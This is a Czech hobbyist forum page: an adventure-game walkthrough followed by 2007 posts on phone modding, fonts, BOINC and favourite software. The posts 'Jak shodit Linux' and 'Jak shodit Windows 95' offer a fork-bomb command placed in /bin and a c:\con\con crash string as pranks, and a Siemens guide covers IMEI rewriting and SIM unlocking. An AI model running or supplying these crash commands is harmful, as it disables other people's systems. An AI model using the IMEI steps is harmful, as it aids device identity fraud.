Použijte rtěnku na sud se střelným prachem. Získáte náboj. Dejte ho do nábojového pásu a zajděte do autobusu pro další rtěnky. S těmi udělejte to samé. Teď v inventáři vyčarujte burákové máslo. Dejte máslo do přilby a přidejte k němu oříšky. Vraťte se do chatrče mafiánů, vlezte dovnitř dírou, kterou jste lezli ven. Na mrazák, kam praží slunko položte přilbu s nedodělaným arašídovým máslem. Projděte přes mapu na hřbitov letadel. Tam zkuste použít kulomet. Namažte ho olejem a nakrmte ho pásem se rtěnkami. Vznikne vám další kousek skládačky. Konečně jděte naposled k vagónu.

Nalijte arašídové máslo na dvířka budky. Vemte výbušniny a zajděte k ropnému vrtu. Položte je k těžební věži.


Kapitola 4.: Blízká setkání

Po pokecu se Sushi vylezete ven z hotelu. Prohlídněte si vozík venku. Zajděte do šerifovy kanceláře. Vemte si dříví a vraťte se ven. Jděte do banky. Tam najdete ve skříni sešívačku a u stolu razítko. Vyjděte na ulici. Zajděte se podívat na lokomotivu. Do kotle přiložte dříví. Zpátky na ulici jděte vpravo dolů, do saloonu. Z pod schodů si vemte květináč, bude se hodit. Prozkoumejte kumbál - získáte zahradnické kleště. Vydejte se po schodech nahoru. Až vyzpovídáte Saturna, podívejte se na terasu. Seberte smirkový papír. Vyjděte ven z města a vraťte se k opuštěnému dolu.

Najdete tam na zemi olejničku. Prohlídněte si kámen, který blokuje vstup do dolu. Vraťte se na mapu a vyberte si neznámé místo vpravo. Pokecejte s Oscarem. Vlevo najdete nádobu. Vzdalte se od domu. U studny objevíte zajímavý kámen. Vemte si ho. Vraťte se do Douglasville. Kleštěmi ustřihněte řemen u vozíku vedle hotelu. Na mapě jděte úplně do rohu vpravo nahoře, ke kráteru. Objevíte Joshuu. Pokecejte si s ním o všem možném. Zjistíte, že se snaží domlouvat smimozemšťany. Zkuste použít řemen na motorku a spojte ho v inventáři sešívačkou. Znovu zkuste nasadit řemen. Odejděte na mapu a hned se vraťte. Joshua vám poví, že potřebuje klíč č. 10. Zajděte do Douglasvillu.

Před saloonem si prohlídněte vodní nádrž. Vyjděte nahoru za Saturnem a prozkoumejte jeho panel s nářadím na zdi. Promluvte si s ním o klíči a pokuste se ho vzít z panelu. Znova s ním promluvte. Vyjděte ven. Zkuste si vzít klíč z nádrže. Vraťte se nahoru za Saturnem. Projděte na terasu. Tady hoďte dolů květináč. U Saturna vzadu objevíte podivný přístroj. Pohněte pákou katapultu a sledujte, kam barva poletí. Slezte dolů, vemte klíč a jděte ho zanést Joshuovi. Odejděte na mapu a vraťte se k Joshuovi. Zjistíte, že potřebujete benzín. Vraťte se k Saturnovi.

Podívejte se na kanystr benzínu nalevo od nářadí. Promluvte si o něm se Saturnem. Dejte mu kámen, co jste našli u studny. Vyleštěte ten kámen a opakujte pokus. Zase budete odmítnuti. Dejte do kamenu jantar a Saturn si ho konečně vezme. Dostanete benzín, dvě odměrky a láhev. Zkuste do olejničky nalít vodu z nádrže. Zeptejte se Saturna na vodu a opakujte pokus. Ještě vodou naplňte láhev. Teď potřebujete dostat 400ml koncentrovaného benzínu, a to provedete takto:

Code:
Prováděná akce     Stav odměrek
                   300ml  500ml
-------------------------------
Benzín -> 300 ml   300    0
300 ml -> 500 ml   0      300
Benzín -> 300 ml   300    300
300 ml -> 500 ml   100    500
500 ml -> Benzín   100    0
300 ml -> 500 ml   0      100
Benzín -> 300 ml   300    100
300 ml -> 500 ml   0      400
Získaných 400 ml koncentrátu přilijte do láhve s vodou. Získáte benzín, který hned zaneste do motorky k Joshuovi. Nastartujete stroj a budete muset uhodnout Joshuovu kombinaci. Správná kombinace je: DO-SOL-MI-SI-LA. Vemte si Joshuovu přilbu ze země a prozkoumejte jeho stan. Získáte svítilnu a lano. Jděte do Douglasvillské banky, mrknout se na barvu. Pak zajděte za Sushi pokecat o trezoru a mrtvole. Zajděte za Saturnem a dejte mu telepatickou přilbu. Saturn odejde, takže si můžete pohrát sjeho věcmi. Zvedněte hořák ze země. Pohrajte si s jeřábem a vystřelte sochu z katapultu. Zajděte do banky.

Podívejte se na díru v podlaze. Vlezte po soše do sklepa. Zkuste otevřít sejf, ale neznáte kód, takže se vraťte nahoru. Jděte k lokomotivě. Naplňte vodní nádrž lokomotivy vodou z olejničky. Pak se vraťte k Saturnovi pro další vodu a opakujte proces 4x. Celkem tedy nalijete vodu do lokomotivy 5x. Vlezte do kabiny lokomotivy, zapalte kotel hořákem a otočte horním ventilem. Zvýšíte tím tlak v kotli. Hned pod ventilem je páka na vypouštění páry. Otočte jí. Vypadne klíč. Vylezte ven a seberte ho. Zamiřte do šerifovy kanceláře. Odemkněte vězení a prozkoumejte tašku mrtvoly. Dostanete fonendoskop a láhev oleje.

Zajděte si pokecat o sejfu se Sushi. Vraťte se zpátky do banky. Přiložte fonendoskop na sejf. Točte doprava až uslyšíte cvaknutí. Pak doleva a zase doprava. Kombinace je: 85, 29, 54. Ze sejfu vyndáte důlní mapu. Jděte do saloonu a vzadu vkumbálu najdete listy tabáku. Smíchejte olej s listy tabáku a pak mísu s bankovním razítkem. Teď už konečně můžete vyrobit žvýkací tabák zkombinováním tabáku s mísou. Dejte tabák Oscarovi. Řekněte mu, ať odstraní šutr a máte volnou cestu do další části.


Kapitola 5.: Tajemná krypta

Vemte dlouhé prkno a objevíte pod ním kovový předmět. Ten budete potřebovat taky. Prohlídněte kostru. Vemte si jednu kost. Složte v inventáři kost s kovovým předmětem a vznikne vám důlní kladívko. To použijte na vyndání hřebíku, který trčí z dřeva u vstupu do dolu. Zabijte hřebík na okraj propasti. Přivažte tam lano a hurá dolů.

Podívejte se dozadu k jeskyni s velkou sochou. Najdete tam dýmku a sekeru v jednom opřenou o kámen. Vraťte se k Gině a rozlomte sekerou dřevo tak, aby vznikly dokonalé dlahy. Vlevo budete moct šplhat nahoru po ruinách. Šplhejte tak dlouho, až se dostanete úplně nahoru k provazu. Ten usekněte sekerou. Sejdete dolů a seberete lano. Vydejte se na mapu (vlevo dole). Jděte na druhou stranu údolí ke hrobce.

Zkuste použít klíč na díru v monolitu. Ulomte větev z keříku vlevo. Vyšťárejte nově získanou větví písek ze zámku. Vložte tam klíč znovu. Vlezte do jeskyně. Po animačce se vraťte znovu k Gině, přivažte ji dlahu a vydejte se zpět do okolí Douglasvillu.


Kapitola 6.: Rozhovor s mrtvým

Po rozhovoru s matkou Doritou se zajděte podívat na Ginu a vylezte ven. Potřebujete médium. Jděte do Douglasvillu. Když vlezete do saloonu, uvidíte nově příchozího - Rutgera. Pokecejte s ním. Podívejte se nahoru na Saturnův výtvor. Bude ve fázi 1/3. Sejděte po schodech a dejte Rutgerovi indiánskou dýmku. Dá vám zahulit. Matka Dorita vám ale řekne, že to nebude stačit, takže se vraťte zpátky k Rutgerovi. Řekněte mu o něco silnějšího.

Vzpomene si, že Hopiové používali zvláštní elixír právě pro tyto účely - mluvení se záhrobím. Přijdete na to, že chybějící ingredienci máte, jen ty lusky zvětvičky otevřít. Zajděte do šerifovy kanceláře. Prohledejte ještě jednou kostlivcovu tašku. Najdete skalpel. Zkuste lusky rozříznout. Jděte do hotelu za Sushi. Po rozhovoru si s ní popovídejte o tom, co dělá na počítači a tak... Slezte dolů a jděte doprava ke krbu. Vemte si pohrabáč napravo. Rozpalte skalpel vohni a konečně rozřízněte lusky. Zaneste semínka Dračího dechu Rutgerovi a nechte si namíchat elixír. Ten vypijte a počkejte si na hodně zajímavou animačku.

Potřebujete najít karavan. Jděte do Douglasvillu. Po pokecu se Sushi se dejte do saloonu a pokecejte se Saturnem. Mimo jiné uvidíte sochu mimozemšťana (ve fázi 2/3). Saturn vám poví, kde viděl ten karavan. Zajděte se tam podívat. Zkuste otevřít dveře. Vemte na ně pohrabáč. Prohlídněte si mnišský hábit. Vylezte ven. Prozkoumejte poličku na dveřích karavanu. Získáte leták Mojavské banky. Zajděte ho ukázat Sushi. Vyjděte ven z hotelu a odejděte na chvíli třeba do šerifovy kanceláře. Vraťte se k Sushi.

Zajděte k Johnyho karavanu, vemte z něj hábit a vylezte ven. Přijedou mafiáni, ale o vlásek jim uniknete. Vraťte se do Douglasvillu k lokomotivě. Vlezte dovnitř a vypusťte znovu pákou páru. Z komínu tentokrát vyletí šerifská hvězda. Neváhejte ji vzít a zanést Oscarovi. Automaticky zajdete k Sushi pro zbraň a donesete mu ji. Když Oscar doveze vězně, zajděte se na ně mrknout.

Vemte pytel s věcmi mafiánů ukázat Sushi. Teď se můžete podívat na poslední fázi sochy mimozemšťana (3/3) k Saturnovi. Jděte zpět k Sushi a pokecejte si s ní o věcech mafiánů. Na otázku nejoblíbenějšího režiséra odpovězte Woody Allen a na jeho dílo Tajemná vražda na Manhattanu. Tím vnuknete Sushi nápad. Vemte MP3 diktafon a jděte za mafiány do vězení. Nahrajte si je a pak si nahrajte ještě Ginu. Vraťte diktafon Sushi a sledujte zakončení celého příběhu.


  Jak shodit Linux
Posted by: Ashus - 7.7.2007 03:02 - Forum: Guides / Návody - Replies (3)

Tahle srandička je logicky možná použít na jakémkoli systému, kde máte práva spouštět.
Příkaz vytvoří skript, jehož jediným úkolem je spustit sám sebe třikrát. Každá instance se opět rozmnoží, až se zaplní celá pamět, pak i virtuální pamět, a pak už je systém nepoužitelný a zbývá restart.

Do shellu se zadá
poprvé:

Code:
cd /bin; echo "./dff;./dff;./dff" > dff; chmod +x dff; ./dff &

pak stačí už jen:
Code:
cd /bin; ./dff &

Zdroj: James Keats


  Jak shodit Windows 95
Posted by: Ashus - 7.7.2007 02:57 - Forum: Guides / Návody - No Replies

Funguje na W-95 a starších verzích W-98.

Start, spustit, napište: "c:\con\con" a odentrujte.

Zdroj: James Keats


  Welcome
Posted by: Ashus - 7.7.2007 02:39 - Forum: English - Replies (3)

I want to sincerely welcome you here, to my website. :o

I didn't have enough time to rebuild the site from scratch before. I think my created programs and PHP scripts deserve more space and a little feedback. That's why this site is here, ready for your comments and opinions.


  Czech fonts
Posted by: Ashus - 7.7.2007 02:32 - Forum: Other - Replies (3)

Some time ago, I was searching the net for fonts with Czech codepage support. Here is my collection of the best of them. Most of these fonts didn't support diacritics, so I added them myself. Din was nowhere to be found at all, and I really liked it for movie subtitle usage.

Here is the list of fonts contained in archive below:
Acidic CE
Arial Rounded MT Bold CE
Ashley CE
Bahamas CE
Bosanova CE
Cancun CE
CopperPot CE
CosmicTwo CE
Cottage CE
Crescent CE
Cronos Pro
Diablo Exocet CE
Din+CE
Dom Casual CE
Euromode CE
France CE
Fuzzy Cootie CE
HoboEE
Litograph CE
Merlin CE
Paint Peel Initials CE
Penguin CE
President CE
Quake CE
Renfrew CE
Slipstream Forward CE
Stamp CE
ST Huntington CE
Technical CE
Viking CE


.rar   Fonts-CE.rar (Size: 1,01 MB / Downloads: 1363)


  Úprava vzhledu Siemens CX65
Posted by: Ashus - 7.7.2007 02:20 - Forum: Guides / Návody - No Replies

Theme (téma) Whistler by Ashus

.rar   _Empty.rar (Size: 112 bytes / Downloads: 113)
.rar   OpenDisc.rar (Size: 417,36 KB / Downloads: 125) Stačí ho poslat přes infraport, sám se aplikuje.


Ikony do menu ve stylu Windows XP by Ashus

.rar   Direct-Softkey-Editor.rar (Size: 326,89 KB / Downloads: 113)
.rar   Menu-Creator.rar (Size: 36,05 KB / Downloads: 97) Instalace je složitější - nejprve použijte program OpenDisc - níže - a potom pomocí SiMoCo nebo jiného programu s přístupem do FlexMemory otevřete složku \Config\japp\FlexMenu, zazálohujte obsah a nahrejte soubory ze staženého archivu; pak vypněte a zapněte telefon.


Animace při posílání SMS ve stylu Windows XP by Ashus
    Odemkněte skryté složky programem OpenDisc, pak otevřete v mobilu složku \Config\Default, zazálohujte si původní SendAnimation.gif a nahrejte nový.


Smazání loga operátora
    Pošlete přes infraport do telefonu soubor _Empty.gif. Je to transparentní obrázek o 1x1 pixelech s minimální barevnou paletou (zabírá 43 bajtů). Schovejte si ho do paměti tam, kam nechodíte, ať ho náhodou nesmažete; nastavte si ho jako logo operátora.


Užitečné prográmky

Direct Softkey Editor
    Přes infraport si stáhne z telefonu informace o všech tlačítkách a dovoluje je změnit. Např. levé softkey v menu je jako výchozí nastaveno na Vlastní menu, nebo joystickem nahoru z pohotovostního režimu jsou Profily, vlevo zase Foťák - tímhle prográmkem se dá vše změnit - třeba rychleji spouštět kalkulačku.

Menu Creator

.rar   XP-menu+icons.rar (Size: 38,24 KB / Downloads: 114) Trošku složitejší prográmek na úpravu menu. Kromě úpravy původního menu si můžete změnit i ikonky. Soubory čerpejte, zálohujte a měňte v adresáři \Config\japp\FlexMenu. A proto zase potřebujete OpenDisc...

OpenDisc

.rar   Whistler.rar (Size: 38,56 KB / Downloads: 99) Odemkne na paměti FlexMemory (sdílená pamět vašeho telefonu, okolo 10MB) skryté složky Config a Cache. Tím umožní různé srandičky jako třeba zničení telefonu a tak.. dodržujte návody k použití a nic se vám nestane.

SiMoCo
Jedinečný program pro přenos souborů a komunikaci s mobily Siemens.
Ke stažení zde.


  Upgrade firmwaru Siemens M50
Posted by: Ashus - 7.7.2007 01:23 - Forum: Guides / Návody - No Replies

Potřebné programy
All Siemens 3.00
Dongle Emmu
Java by Skylord
UNISiemens Soft
Unlock by Maxim

.rar   Siemens-M50-upgrade-tools.rar (Size: 1,43 MB / Downloads: 201)

Postupy

  • zálohování softwaru: 1, 2a, 4
  • obnovení zálohy softwaru: 1, 2b, 4

  • upgrade: 1, 2a, 2b, 3, 4, 5, 6 (= všechny kroky)
  • změna IMEI: 1, 3, 4
  • odblokace Javy: 5
  • odblokace operátorů (nebo i oživení, pokud píše Wrong software): 6


Kroky
1. zapnout Dongle Emulator
  • dongleemu.exe
  • file / open / EMUL.KPE
  • počkat, než se objeví chybka
  • enable emulation (nechte rezidentní, minimalizujte)

2. spustit UniSiemens 4.00
  • typ mobilu: SL4x

    a) zálohovat
    • read flash
    • ignition
    • dát si kafe
    • save file

    b) načíst jiný software (BIN o velikosti 6MB)
    • load file
    • ignition
    • dát si kafe
    • write flash


  • úplný reset

3. spustit All Siemens 3.00
  • phone: Siemens C45
  • write IMEI
  • ignition
  • napište nové IMEI

  • úplný reset

4. vypnout Dongle Emulator
  • přepněte se na zelenou kuličku v tray
  • okno emulatoru zavřete

5. spustit Java Activator by Jordik
  • phone info
  • ignition
  • java on

  • úplný reset

6. spustit Unlock M50/MT50 by Maxim
  • unlock
  • ignition

  • úplný reset
  • zapněte telefon


Vysvětlivky kroků
  • 1: Dongle Emulator se zapíná kvůli nekompatibilitě některých programů. Bez něho to prostě nepude)
    2: Zkoušel jsem mnoho flashovacích programů, ale tenhle je jednoznačně nejlepší.
    3: Není slušné mít Imei někoho jiného. Proto použijte Imei changer, aby nedošlo ke zbytečným duplikacím.
    4: Programy dále NESMÍ mít spuštěný Dongle - zase to není kompatibilní.
    5: Jelikož naši milí operátoři (Eurotel, T-Mobile) z nás chtějí vydřít co se dá, tak nám samozřejmě zablokovali i takovouto maličkost - schopnost nahrávat do mobilu soubory. Místo toho chtějí co nejvíc za Wapové připojení, přes které se dá stáhnout Java, hudba a obrázky.
    6: Tahle věc odblokuje Phone-code a Sim-lock. Pak opraví CRC, takže mobil i když píše hlášku Wrong Software po provedení akce funguje.

  • úplný reset = vytáhnutí baterky a odpojení kabelu, pak opětovné vrácení baterky a kabelu do mobilu
  • ignition [zážeh] = krátké stisknutí červeného (power) čudlu na mobilu - tím povolíte vnější přístup programům


Poznámky
  • než začnete, je třeba sehnat si COM kabel na propojení telefonu s PC.
  • na upg. i odblok. je třeba Windows 95/98/Me. Na 2000/XP nefunguje, nesnažte se o to, protože vám pak týden nepojede mobil, než si seženete někoho, u koho to jde.
  • pro jakékoli flashování nepoužívejte PC s nižší frekvencí než 233MHz. Dojde k chybám (ověřeno).
  • nikdy nepodceňujte zálohování originálního Firmwaru (i na jiné médium)
  • výborný program pro natahování dat přes kabel je Siemens Data Exchange Software. Ten je 100% compatible s Win9x i XP - umožní nahrávat obrázky, melodie a java hry po kabelu (originální software to má zablokované).


  Boinc
Posted by: Ashus - 7.7.2007 12:56 - Forum: Česky - No Replies

Boinc je systém dobrovolného věnování svého nevyužitého CPU času na vědu a výzkum.
Momentálně se účastním projektů Seti@home (hledání mimozemských civilizací z přijatých dat z obřích teleskopů) a Rosetta@home (hledání tvarů proteinových struktur pro léčení rakoviny a podobných nemocí).

Jsem členem týmu Czech National Team.
Klienta si můžete stáhnout tady: http://boinc.berkeley.edu/download.php, pokud uvažujete o pomoci.


  Doporučené programy, bez kterých bych se neobešel
Posted by: Ashus - 7.7.2007 12:12 - Forum: Česky - No Replies

Takže jako první post tu na nových stránkách dávám seznam prográmků denní potřeby:

Windows XP

  • SP3 + poslední updaty
  • patch na uxtheme.dll - odemknutí themes
  • patch na počet nových spojení

Opera
  • nejrychlejší a nejbezpečnější webový prohlížeč
  • i pro linux, mac
  • v PDA Opera Mobile (zvládá i streamy z youtube)
  • v mobilu Opera Mini (komprese zajišťuje méně přenesených dat)

Trillian
  • komunikační program, podporuje řadu protokolů (Jabber, ICQ, IRC, Rendezvous, Yahoo, ...)

Ad Muncher
  • žrout reklam, urychluje načítání stránek (zabraňuje reklamám ve stahování) - bohužel někdy zablokuje i to, co nemá; pokud se stránka chová divně (např. adresář na Seznam mailu), je třeba na chvíli vypnout

Remote Administrator
  • dálková správa, rychlejší než VNC, bohužel pouze pro Win

PSPad editor
  • jedinečný editor zdrojových kódů HTML, PHP, CSS, Javascriptu, C, Javy, ...
  • podporuje nahrazení v souborech

nnCron Lite
  • plánovač úloh pro Widle založený na Linuxu
  • nenáročný na paměť (180kB)

SuperSpeed RamDisk
  • virtuální disk umístěný v RAM, několikanásobně rychlejší než HDD
  • ideální pro umístění složky %Temp%
  • obsah se maže při restartu
  • zrychlí běh celého systému, doporučeno 3GB+ systémové RAM